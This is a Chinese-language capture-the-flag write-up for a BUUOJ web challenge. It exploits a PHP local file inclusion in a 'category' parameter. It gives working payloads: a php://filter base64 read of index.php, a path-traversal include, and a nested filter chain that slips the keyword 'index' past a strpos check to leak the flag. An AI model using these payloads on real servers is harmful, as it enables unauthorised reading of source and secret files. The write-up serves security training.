分析
-
打开题目后是有两个按钮的一个页面
-
分别打开,可以看到url栏的变换
-
http://04705a2c-5cf1-465e-8749-5822f3e05e20.node4.buuoj.cn:81/index.php?category=woofers
-
猜测是sql注入或者文件包含
-
我们将url后加上单引号闭合
-
可以判断为文件包含漏洞
-
无法直接包含到/flag,我们尝试用伪协议读取index.php的源码看看
-
php://filter/read=convert.base64-encode/resource=index
解码得
<?php
$file = $_GET['category'];
if(isset($file))
{
if( strpos( $file, "woofers" ) !== false || strpos( $file, "meowers" ) !== false || strpos( $file, "index")){
include ($file . '.php');
}
else{
echo "Sorry, we currently only support woofers and meowers.";
}
}
?>
strpos() 函数查找字符串在另一字符串中第一次出现的位置。
可以得出所传参数必须含有woofers或meowers或index
-
我们试着包含一下flag
-
?category=woofers/../flag
-
发现源码中的提醒,现在只需要伪协议读取即可
-
在这里有一个小trick:php://filter伪协议可以套一层协议
-
php://filter/read=convert.base64-encode/index/resource=flag
-
这样便可以保证url传入的参数中既有index,又可以读取flag的源码
-
解码即可得flag
payload
php://filter/read=convert.base64-encode/index/resource=flag